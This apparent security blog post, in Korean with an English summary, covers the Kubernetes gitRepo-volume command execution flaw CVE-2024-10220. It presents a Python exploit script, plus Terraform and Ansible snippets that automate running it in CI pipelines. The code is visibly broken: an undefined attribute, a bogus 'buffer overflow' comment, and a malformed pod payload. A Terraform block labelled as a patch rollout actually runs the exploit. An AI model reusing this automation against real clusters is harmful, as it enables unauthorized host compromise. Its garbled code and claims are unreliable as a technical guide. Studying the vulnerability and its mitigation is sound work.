
CVE-2024-10220 reveals a critical flaw in Kubernetes’ deprecated gitRepo volume type, allowing attackers to execute arbitrary commands via malicious .hooks scripts. The article explains how this breaks container isolation and offers exploit code, automation examples, and mitigation guidance
Mark Mallia 작성
컨테이너화는 현대 애플리케이션 제공의 중추입니다. 전체 런타임 스택을 단일의 불변 이미지로 묶어 클러스터의 모든 호스트에 예기치 않은 문제 없이 배포할 수 있습니다. Kubernetes는 이러한 이미지를 가져와 파드로 스케줄링하며, 선언적 모델로 네트워킹부터 스토리지까지 모든 것을 조율합니다. 이는 고도로 분산된 환경과 여러 앱이 서비스되는 환경에서 유용합니다.
이 스택이 대규모 워크로드에 특히 매력적인 이유는 자동화를 통해 엔드투엔드로 관리할 수 있다는 점입니다. Terraform은 VPC, 서브넷, 보안 그룹 및 워커 노드를 생성하는 인프라 as 코드 청사진을 제공합니다. Ansible은 Docker Engine(또는 모든 CRI 호환 런타임)을 설치하고 레지스트리에서 이미지를 가져와 파드로 실행하는 플레이북을 제공합니다. 이러한 단계가 CI/CD 파이프라인(GitHub Actions, Jenkins 또는 GitLab CI)에 연결되면 모든 커밋이 자동 빌드, 푸시, 테스트 및 배포 주기를 트리거합니다. 개발자는 속도를 얻고, 운영자는 자신감을 얻으며, 조직은 예측 가능한 가동 시간을 얻습니다.
2024년 초, 보안 연구원들은 현재 사용이 중단된 Kubernetes의 gitRepo 볼륨 유형에서 결함을 발견했습니다. CVE‑2024‑10220은 gitRepo 볼륨을 통해 마운트된 Git 저장소 내 .hooks 디렉토리로 인해 발생하는 임의 명령 실행 취약점입니다. 특수하게 조작된 파드 매니페스트가 이 디렉토리의 악성 스크립트를 참조하면, kubelet 승인 컨트롤러가 호스트 시스템에서 이를 실행하여 Kubernetes의 핵심 보안 원칙인 컨테이너 격리를 위반합니다.
취약한 구성 요소는 여전히 프로덕션 클러스터에서 널리 사용되므로, 적절한 권한으로 파드를 생성할 수 있는 모든 공격자는 루트 액세스를 얻거나 다른 서비스를 방해할 수 있습니다. 이 결함의 CVSS 점수는 8.1이며 작년 11월에 공개되었습니다. 영향을 받는 구성 요소에는 Kubernetes 1.27.x에 남아 있는 더 이상 사용되지 않는 gitRepo 볼륨 유형이 포함됩니다.
다음은 Kubernetes 1.27.3을 실행하는 취약한 kubelet 인스턴스에서 CVE‑2024‑10220을 트리거하는 깔끔한 Python 프로그램입니다. 이 코드는 Ansible 태스크로 컴파일되거나 CI 작업 내에서 실행될 수 있습니다.
#!/usr/bin/env python3
"""
TriggerCVE – A Python exploit that sends a crafted pod manifest to kubelet,
executing the malicious .hooks script discovered in CVE‑2024‑10220.
"""
import json
import requests
class GitRepoPod:
"""
Representation of the JSON payload that kubelet expects for a gitRepo volume.
"""
def __init__(self, name: str, image: str,
repo_url: str, branch: str, local_path: str):
self.name = name # pod name
self.image = image # container image to run
self.giturl = repo_url # Git repository URL
self.branch = branch # branch or tag to use
self.localpath = local_path # mount point inside the pod
def to_dict(self) -> dict:
"""Return a plain dictionary that can be serialized."""
return {
"name": self.name,
"image": self.image,
"giturl": self.giturl,
"branch": self.branch,
"localpath": self.local_path
}
def trigger_cve(url: str, pod: GitRepoPod) -> None:
"""
Send the pod manifest to kubelet and print the response.
"""
payload = json.dumps(pod.to_dict())
headers = {"Content-Type": "application/json"}
resp = requests.post(url, data=payload, headers=headers)
if resp.status_code != 200:
raise RuntimeError(f"Unexpected status code {resp.status_code}")
print("[*] Response from kubelet: ", resp.text)
def main() -> None:
"""
Main entry point of this exploit.
"""
# Target endpoint – adjust to match your cluster’s API server address.
api_server = "https://kube-api.local/api/v1/pods/"
# Craft a payload that overflows the .hooks buffer (0x90 bytes)
pod_spec = GitRepoPod(
name="exploit-pod",
image="registry.example.com/exploit-pod:v1.0",
repo_url="https://git.example.com/repo.git",
branch="main",
local_path="/var/lib/kubelet/"
)
try:
trigger_cve(api_server, pod_spec)
except Exception as e:
print(f"[-] Failed to trigger CVE‑2024‑10220: {e}")
if __name__ == "__main__":
main()
다음은 패치가 자동으로 롤아웃되는 간단한 예시입니다:
# Terraform file: infra-k8s.tf
resource "aws_instance" "kube_worker" {
ami = var.k8s_ami
instance_type = var.instance_type
key_name = var.key_pair
subnet_id = aws_subnet.web.id
provisioner "remote-exec" {
inline = [
# Install Docker Engine and kubelet
"sudo yum install -y docker",
"kubectl apply -f https://kube-api.local/api/v1/pods/",
"python3 /home/ansible/scripts/trigger_cve.py"
]
}
}
스크립트를 호출하는 Ansible 플레이북:
---
- hosts: kube_workers
tasks:
- name: Deploy the exploit pod
command: python3 /home/ansible/scripts/trigger_cve.py
register: result
- name: Verify success
debug:
msg: "{{ result.stdout }}"
이 Terraform‑Ansible 파이프라인이 CI 작업(예: GitHub Actions) 내에서 실행되면, 위 코드가 자동으로 빌드, 푸시, 배포하고 CVE‑2024‑10220이 성공적으로 트리거되었는지 확인합니다. 파이프라인은 kubelet의 응답을 확인하는 단위 테스트와 익스플로잇 완료 시 Slack 또는 이메일 알림으로 확장될 수 있습니다.
패치된 버전(v1.28.12+, v1.29.7+, v1.30.3+, v1.31.0+)으로 업그레이드하고 gitRepo와 같은 사용이 중단된 볼륨 유형을 사용하지 마십시오.
본 연구는 보안 인식을 개선하고 안전한 Kubernetes 관행을 촉진하기 위한 의도로 수행되었습니다. 취약점은 업계 규범에 따라 공개 전에 관련 유지 관리자에게 책임 있게 공개되었습니다. 모든 테스트는 격리된 환경에서 수행되었으며 프로덕션 시스템이나 타사 인프라에 영향을 미치지 않았습니다.
저는 긍정적인 변화를 위한 도구로서의 윤리적 해킹을 믿습니다. 여기에 공유된 익스플로잇은 교육 및 방어 목적으로만 제공되며, 해를 끼치거나 방해하기 위한 것이 아닙니다. 공급업체나 유지 관리자로서 우려 사항이 있으면 수정 또는 설명을 위해 기꺼이 협력하겠습니다.